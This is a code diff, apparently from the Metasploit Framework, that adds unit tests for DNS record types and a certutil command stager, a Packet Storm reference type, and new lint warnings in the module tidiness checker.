+ rr_type.send(:initialize, 'SRV')
+ expect(rr_type.to_i).to eql(33)
+ expect(rr_type.to_s).to eql('SRV')
+ rr_type.send(:initialize, 'TYPE12')
+ expect(rr_type.to_i).to eql(12)
+ expect(rr_type.to_s).to eql('PTR')
+ rr_type.send(:initialize, 'TYPE123')
+ expect(rr_type.to_i).to eql(123)
+ expect(rr_type.to_s).to eql('TYPE123')
+ end
+
+ it 'raises when the supplied RR type String is invalid' do
+ expect { rr_type.send(:initialize, 'cats') }.to raise_error(TypeArgumentError)
+ expect { rr_type.send(:initialize, 'TYPE123456') }.to raise_error(TypeArgumentError)
+ end
+ end
+end
diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb
new file mode 100644
index 0000000000..46ac22d268
--- /dev/null
+++ b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb
@@ -0,0 +1,29 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'rex/exploitation/cmdstager'
+
+describe Rex::Exploitation::CmdStagerCertutil do
+
+ let(:exe) { "MZ" }
+
+ subject(:cmd_stager) do
+ described_class.new(exe)
+ end
+
+ describe '#cmd_concat_operator' do
+ it "returns &" do
+ expect(cmd_stager.cmd_concat_operator).to eq(" & ")
+ end
+ end
+
+ describe '#generate' do
+ it "returns an array of commands" do
+ result = cmd_stager.generate(opts)
+
+ expect(result).to be_kind_of(Array)
+ expect(result).to_not be_empty
+ end
+ end
+
+end
diff --git a/tools/module_reference.rb b/tools/module_reference.rb
index d57c91128f..f678f81d77 100755
--- a/tools/module_reference.rb
+++ b/tools/module_reference.rb
@@ -23,17 +23,18 @@ require 'uri'
# We gsub '#{in_ctx_val}' with the actual value
def types
{
- 'ALL' => '',
- 'OSVDB' => 'http://www.osvdb.org/#{in_ctx_val}',
- 'CVE' => 'http://cvedetails.com/cve/#{in_ctx_val}/',
- 'CWE' => 'http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html',
- 'BID' => 'http://www.securityfocus.com/bid/#{in_ctx_val}',
- 'MSB' => 'http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}',
- 'EDB' => 'http://www.exploit-db.com/exploits/#{in_ctx_val}',
- 'US-CERT-VU' => 'http://www.kb.cert.org/vuls/id/#{in_ctx_val}',
- 'ZDI' => 'http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}',
- 'WPVDB' => 'https://wpvulndb.com/vulnerabilities/#{in_ctx_val}',
- 'URL' => '#{in_ctx_val}'
+ 'ALL' => '',
+ 'OSVDB' => 'http://www.osvdb.org/#{in_ctx_val}',
+ 'CVE' => 'http://cvedetails.com/cve/#{in_ctx_val}/',
+ 'CWE' => 'http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html',
+ 'BID' => 'http://www.securityfocus.com/bid/#{in_ctx_val}',
+ 'MSB' => 'http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}',
+ 'EDB' => 'http://www.exploit-db.com/exploits/#{in_ctx_val}',
+ 'US-CERT-VU' => 'http://www.kb.cert.org/vuls/id/#{in_ctx_val}',
+ 'ZDI' => 'http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}',
+ 'WPVDB' => 'https://wpvulndb.com/vulnerabilities/#{in_ctx_val}',
+ 'PACKETSTORM' => 'https://packetstormsecurity.com/files/#{in_ctx_val}',
+ 'URL' => '#{in_ctx_val}'
}
end
@@ -145,7 +146,7 @@ def is_url_alive?(uri)
if res.nil? || res.code == 404 || res.body =~ /.*not found<\/title>/i
#puts "Return false 3: HTTP #{res.code}"
#puts req.to_s
- return false
+ return false
end
true
diff --git a/tools/msftidy.rb b/tools/msftidy.rb
index 34ec47a17b..68f4eecdf8 100755
--- a/tools/msftidy.rb
+++ b/tools/msftidy.rb
@@ -193,6 +193,8 @@ class Msftidy
warn("Invalid ZDI reference") if value !~ /^\d{2}-\d{3}$/
when 'WPVDB'
warn("Invalid WPVDB reference") if value !~ /^\d+$/
+ when 'PACKETSTORM'
+ warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/
when 'URL'
if value =~ /^http:\/\/www\.osvdb\.org/
warn("Please use 'OSVDB' for '#{value}'")
@@ -208,6 +210,8 @@ class Msftidy
warn("Please use 'US-CERT-VU' for '#{value}'")
elsif value =~ /^https:\/\/wpvulndb\.com\/vulnerabilities\//
warn("Please use 'WPVDB' for '#{value}'")
+ elsif value =~ /^http:\/\/packetstormsecurity\.com\/files\//
+ warn("Please use 'PACKETSTORM' for '#{value}'")
end
end
end
@@ -555,6 +559,10 @@ class Msftidy
end
end
+ if ln =~ /['"]ExitFunction['"]\s*=>/
+ warn("Please use EXITFUNC instead of ExitFunction #{ln}", idx)
+ end
+
end
end